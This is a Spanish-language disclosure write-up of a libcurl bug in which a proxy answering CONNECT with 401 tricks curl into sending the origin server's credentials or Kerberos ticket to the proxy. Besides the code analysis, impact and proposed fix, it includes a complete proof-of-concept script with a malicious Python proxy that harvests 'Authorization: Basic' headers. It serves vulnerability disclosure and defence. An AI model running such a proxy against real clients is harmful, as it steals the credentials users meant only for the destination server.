Resumen
Cuando curl atraviesa un proxy HTTP con un túnel CONNECT, el proxy debería pedir sus propias credenciales con un 407 y la cabecera Proxy-Authenticate. Las credenciales del servidor de destino (las de CURLOPT_USERPWD o un ticket Kerberos) solo deberían viajar ya dentro del túnel, hacia ese servidor.
El fallo: libcurl decidía si una respuesta de autenticación era del proxy o del destino solo por el código de estado. Si el proxy contestaba al CONNECT con 401 y WWW-Authenticate, curl lo trataba como si lo hubiera dicho el servidor de destino, actualizaba el estado de autenticación de ese servidor y, al reintentar, mandaba sus credenciales al propio proxy.
Afecta a los dos caminos de código que procesan la respuesta al CONNECT:
- HTTP/2 y HTTP/3, en
Curl_http_proxy_inspect_tunnel_response(lib/http_proxy.c):
// lib/http_proxy.c:491-501 (Curl_http_proxy_inspect_tunnel_response, H2/H3)
if(resp->status == 401) {
auth_reply = Curl_dynhds_cget(&resp->headers, "WWW-Authenticate");
}
else if(resp->status == 407) {
auth_reply = Curl_dynhds_cget(&resp->headers, "Proxy-Authenticate");
}
if(auth_reply) {
...
result = Curl_http_input_auth(data, resp->status == 407,
auth_reply->value);
- HTTP/1, en
on_resp_header(lib/cf-h1-proxy.c):
// lib/cf-h1-proxy.c:396-406 (on_resp_header, H1)
if((checkprefix("WWW-Authenticate:", header) && (401 == k->httpcode)) ||
(checkprefix("Proxy-authenticate:", header) && (407 == k->httpcode))) {
bool proxy = (k->httpcode == 407);
char *auth = Curl_copy_header_value(header);
...
result = Curl_http_input_auth(data, proxy, auth);
En ambos casos se llama a Curl_http_input_auth() con proxy = (status == 407). Con un 401, proxy vale false y la función toca data->state.authhost, es decir, el estado del servidor de destino:
// lib/http.c:1067
CURLcode Curl_http_input_auth(struct Curl_easy *data, bool proxy,
const char *auth)
{
...
if(proxy) {
availp = &data->info.proxyauthavail;
authp = &data->state.authproxy;
}
else {
availp = &data->info.httpauthavail;
authp = &data->state.authhost;
}
Nada en esa cadena sabe que todavía se está negociando el túnel con el proxy. Una vez fijado authhost.picked (por ejemplo a CURLAUTH_BASIC), curl reintenta el CONNECT y output_auth_headers(), que decide qué cabeceras de autenticación añadir a cualquier petición, incluida el propio CONNECT, no impide usarlas antes de que exista el túnel:
// lib/http.c: output_auth_headers(), Basic branch
if(authstatus->picked == CURLAUTH_BASIC) {
if(
(proxy && conn->http_proxy.creds && ...) ||
(!proxy && data->state.creds &&
Curl_creds_has_user_or_pass(data->state.creds) &&
!Curl_checkheaders(data, STRCONST("Authorization")))) {
auth = "Basic";
result = http_output_basic(data, conn, proxy);
Con proxy=false se genera un Authorization: Basic <credenciales del destino> normal, no un Proxy-Authorization, y termina en manos del proxy. Con Negotiate pasa algo equivalente: el estado envenenado hace que auth_spnego() rellene data->req.newurl, lo que provoca un reintento del CONNECT en el que curl calcula y envía al proxy un ticket de servicio Kerberos real del servidor de destino.
Según el investigador, el origen está en el commit 52ceab5e41 del 3 de septiembre de 2003, cuando el bucle de CONNECT empezó a reutilizar la lógica de autenticación de las respuestas normales para soportar NTLM, Digest y similares. Esa forma de distinguir proxy y destino solo por 401/407 se arrastró en todas las reescrituras posteriores (la reorganización de http_proxy.c en 2016, la separación en filtros de conexión cf-h1-proxy.c/cf-h2-proxy.c de 2022-2023 y el soporte de CONNECT/MASQUE para HTTP/3 de 2026) y seguía presente en main en el commit 38703fe2 (2 de septiembre de 2026).
El reporte se envió el 3 de septiembre de 2026, figura como resuelto y se divulgó el 14 de octubre de 2026. Se le asignó el CVE-2026-86414 con severidad baja.
Pasos de reproducción
Hacen falta un proxy configurado (CURLOPT_PROXY), credenciales para el servidor de destino, un método en CURLOPT_HTTPAUTH que el proxy pueda anunciar (con Basic basta) y que no se haya compilado curl con CURL_DISABLE_PROXY ni CURL_DISABLE_HTTP (por defecto no lo están).
El investigador lo reproduce con un script que levanta un proxy malicioso en Python y lanza curl contra él. Ante el primer CONNECT, el proxy responde con un desafío "del destino" en vez de abrir el túnel; en el reintento abre el túnel y registra la petición que curl envía en claro por él:
#!/bin/sh
# Reproduction: untrusted HTTP proxy poisons ORIGIN auth state (data->state.authhost)
# by answering a CONNECT tunnel request with "401 WWW-Authenticate: Basic".
# The shipped libcurl then preemptively sends the operator-configured ORIGIN
# credentials over the cleartext proxy tunnel, where the proxy reads them --
# even though --anyauth normally withholds credentials until challenged.
#
# Env overrides (sensible defaults for the build container):
# VF_PORT - loopback port for the malicious proxy (default 8991)
# VF_MARKER - marker path the proxy creates on leak (default /tmp/vf-cred-leak)
set -e
MODE="$1"
PORT="${VF_PORT:-8991}"
MARKER="${VF_MARKER:-/tmp/vf-cred-leak}"
WORK="$(mktemp -d)"
# --- setup (runs in both arms; must not depend on MODE for its EFFECT) ---
rm -f "$MARKER"
cat > "$WORK/proxy.py" <<'PY'
import socket, sys, os
MODE=sys.argv[1]; PORT=int(sys.argv[2]); MARKER=sys.argv[3]
srv=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
srv.bind(("127.0.0.1",PORT)); srv.listen(1)
sys.stdout.write("LISTENING\n"); sys.stdout.flush()
def rd(c):
d=b""; c.settimeout(5)
try:
while b"\r\n\r\n" not in d:
ch=c.recv(4096)
if not ch: break
d+=ch
except Exception: pass
return d
try:
srv.settimeout(15)
c,_=srv.accept()
rd(c) # CONNECT #1
if MODE=="exploit":
# attack: answer CONNECT with an ORIGIN 401 challenge, poisoning authhost
c.sendall(b"HTTP/1.1 401 Unauthorized\r\n"
b'WWW-Authenticate: Basic realm="o"\r\n'
b"Content-Length: 0\r\n\r\n")
rd(c) # CONNECT retry
# control: benign proxy, no 401 poisoning
c.sendall(b"HTTP/1.1 200 Connection established\r\n\r\n")
tun=rd(c) # the cleartext tunneled ORIGIN request, produced by shipped curl
# Marker creation depends ONLY on what shipped curl transmitted, identically
# in both arms -- the harness stats the file itself.
if b"\r\nAuthorization: Basic " in tun or tun.startswith(b"Authorization: Basic "):
open(MARKER,"w").write("origin credential observed by proxy\n")
try:
c.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nhi")
c.close()
except Exception: pass
except Exception as e:
sys.stderr.write("proxy error: %r\n"%(e,))
PY
# start the malicious proxy and wait until it is listening
python3 "$WORK/proxy.py" "$MODE" "$PORT" "$MARKER" > "$WORK/proxy.out" 2>&1 &
PXPID=$!
i=0
while [ $i -lt 50 ]; do
grep -q LISTENING "$WORK/proxy.out" 2>/dev/null && break
i=$((i+1)); sleep 0.1
done
grep -q LISTENING "$WORK/proxy.out" || { echo "proxy failed to start"; cat "$WORK/proxy.out"; exit 1; }
# everything is up and the shipped runtime is about to be exercised
: > "${VF_READY:-/dev/null}"
# --- exercise the shipped curl exactly once ---
# -p/--proxytunnel forces CONNECT even for an http:// origin, so the origin
# request travels through the proxy-controlled cleartext tunnel.
# --anyauth means curl should NOT send credentials until challenged BY THE ORIGIN.
timeout 30 curl -s -o /dev/null \
-x "http://127.0.0.1:${PORT}" -p \
-u SECRETUSER:SECRETPASS --anyauth \
"http://origin.test/path" || true
wait "$PXPID" 2>/dev/null || true
echo "=== proxy log ($MODE) ==="; cat "$WORK/proxy.out"
echo "=== marker present? ==="; ls -l "$MARKER" 2>/dev/null && echo "MARKER EXISTS" || echo "no marker"
Lo que hace, paso a paso:
- Levanta el proxy malicioso en
127.0.0.1:8991(configurable conVF_PORT). - Cuando llega el primer
CONNECT, en modoexploitel proxy no abre el túnel y responde:
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="o"
Content-Length: 0
- Al llegar el
CONNECTreintentado, abre el túnel:
HTTP/1.1 200 Connection established
- Lee la petición que curl envía en claro por el túnel y, si contiene
Authorization: Basic, crea el fichero/tmp/vf-cred-leak. - Lanza curl contra un destino
http://, forzando el túnel con-py con--anyauth, que en teoría no manda credenciales hasta que el destino las pide. - Ejecutado en modo ataque (
sh ./reproduce.sh exploit), el fichero aparece:
=== proxy log (exploit) ===
LISTENING
=== marker present? ===
-rw-r--r-- 1 root root 36 Sep 2 11:34 /tmp/vf-cred-leak
MARKER EXISTS
- Como control (
sh ./reproduce.sh control), el proxy responde200 Connection establisheddirectamente, sin el401. Con los mismos parámetros de curl y el mismo destino, el fichero no aparece y no se envía ninguna cabeceraAuthorization, tal como promete--anyauth. La única diferencia entre las dos ejecuciones es el401inyectado durante elCONNECT.
Impacto
Cualquier proxy por el que una aplicación enrute su tráfico (CURLOPT_PROXY) podía recolectar credenciales pensadas solo para el servidor de destino:
- usuario y contraseña de
CURLOPT_USERPWD, enviados comoAuthorization: Basic; - o un ticket de servicio Kerberos del destino, si se usaba Negotiate.
Bastaba con contestar a la apertura del túnel con un 401 en vez de un 407. Ni siquiera protegía usar --anyauth/CURLAUTH_ANY, cuyo propósito es precisamente no enviar credenciales hasta recibir un desafío: el proxy se inventaba ese desafío en nombre de un servidor que no controla.
Remediación
El reporte consta como resuelto, pero no detalla el parche aplicado. La propuesta del investigador era que, mientras se negocia un túnel CONNECT, un 401/WWW-Authenticate del proxy se ignore o se trate como propio del proxy, sin llegar nunca a data->state.authhost. En concreto, pasar a Curl_http_input_auth() una indicación explícita de que se está tunelizando (o no llamarla con un 401 durante el CONNECT) y asegurar que el estado authhost no pueda colarse como cabecera Authorization en un reintento del CONNECT antes de que el túnel exista.
Qué aprender de este caso
- En clientes HTTP con soporte de proxy, revisa cómo se procesa la respuesta al
CONNECT: si un401en esa fase actualiza el estado de autenticación del destino, el proxy puede pedir en su nombre unas credenciales que no le corresponden. - Decidir "de quién viene" una respuesta solo por el código de estado es frágil. Lo que cuenta es en qué fase de la conexión se ha recibido: antes de que el túnel exista, todo lo que llega lo controla el proxy.
- La función que añade cabeceras de autenticación (
output_auth_headers()en este caso) debería saber si la petición va al proxy o al destino, y negarse a ponerAuthorizationdel destino en unCONNECT. - Las opciones que retrasan el envío de credenciales, como
--anyauth, solo protegen si el desafío viene de quien debe. Al probarlas, simula un intermediario que fabrique ese desafío.